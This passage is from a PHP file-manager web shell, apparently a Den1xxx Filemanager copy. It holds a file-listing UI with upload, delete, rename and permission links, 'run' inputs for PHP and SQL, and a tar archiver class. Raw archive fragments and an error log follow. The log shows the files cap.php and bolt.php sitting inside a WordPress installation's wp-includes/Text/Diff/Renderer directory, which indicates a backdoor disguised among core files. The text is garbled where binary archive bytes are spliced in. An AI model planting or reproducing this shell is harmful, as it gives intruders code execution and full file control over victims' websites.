			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/error_log                                                                                  0000644                 00000165020 15217306007 0010234 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
